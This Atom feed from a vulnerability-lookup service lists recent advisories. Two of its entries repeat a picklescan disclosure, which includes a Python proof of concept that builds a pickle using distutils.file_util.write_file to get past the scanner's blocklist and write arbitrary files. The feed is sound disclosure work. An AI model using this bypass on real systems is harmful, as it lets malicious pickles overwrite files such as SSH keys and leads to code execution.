<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://cve.radiocsirt.org/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-10T02:32:02.698258+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>csirt@opendfir.org</email>
  </author>
  <link href="https://cve.radiocsirt.org" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/euvd-2026-328298</id>
    <title>EUVD-2026-328298</title>
    <updated>2026-10-10T02:32:02.701947+00:00</updated>
    <content>EUVD-2026-328298</content>
    <link href="https://cve.radiocsirt.org/vuln/euvd-2026-328298"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/fkie_cve-2025-71321</id>
    <title>fkie_cve-2025-71321</title>
    <updated>2026-10-10T02:32:02.701981+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml">
        <p>picklescan before 0.0.33 contains an arbitrary file writing vulnerability that allows attackers to bypass the dangerous blocklist by using distutils.file_util.write_file. Attackers can construct malicious pickle objects to overwrite critical system files and achieve denial of service or remote code execution.</p>
      </div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/fkie_cve-2025-71321"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/ghsa-m273-6v24-x4m4</id>
    <title>GHSA-m273-6v24-x4m4 — Picklescan vulnerable to Arbitrary File Writing</title>
    <updated>2026-10-10T02:32:02.702013+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> PyPI: picklescan</p>
<p>### Summary
Picklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files.</p>
<p>### Details
This is another vulnerability which impacts the downstream user.</p>
<p>By constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE.</p>
<p>### PoC
```python
import pickle
import distutils.file_util</p>
<p>class FileWriteBypass:
    def __reduce__(self):
        
        target_file = "pwned_config.env"
        content = ["print('I have overwritten your config')"]
        
        return (distutils.file_util.write_file, (target_file, content))</p>
<p>payload = pickle.dumps(FileWriteBypass())
with open("bypass_filewrite.pkl", "wb") as f:
    f.write(payload)</p>
<p>print("bypass_filewrite.pkl")
```</p>
<p>&lt;img width="853" height="197" alt="image" src="https://github.com/user-attachments/assets/a129f5aa-a050-4e88-adb7-5a6f93e35b65" /&gt;</p>
<p>To fix this just add disutil to the blacklist</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/ghsa-m273-6v24-x4m4"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/pysec-2026-1791</id>
    <title>PYSEC-2026-1791 — Picklescan vulnerable to Arbitrary File Writing</title>
    <updated>2026-10-10T02:32:02.702059+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> PyPI: picklescan</p>
<p>### Summary
Picklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files.</p>
<p>### Details
This is another vulnerability which impacts the downstream user.</p>
<p>By constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE.</p>
<p>### PoC
```python
import pickle
import distutils.file_util</p>
<p>class FileWriteBypass:
    def __reduce__(self):
        
        target_file = "pwned_config.env"
        content = ["print('I have overwritten your config')"]
        
        return (distutils.file_util.write_file, (target_file, content))</p>
<p>payload = pickle.dumps(FileWriteBypass())
with open("bypass_filewrite.pkl", "wb") as f:
    f.write(payload)</p>
<p>print("bypass_filewrite.pkl")
```</p>
<p>&lt;img width="853" height="197" alt="image" src="https://github.com/user-attachments/assets/a129f5aa-a050-4e88-adb7-5a6f93e35b65" /&gt;</p>
<p>To fix this just add disutil to the blacklist</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/pysec-2026-1791"/>
  </entry>
</feed>
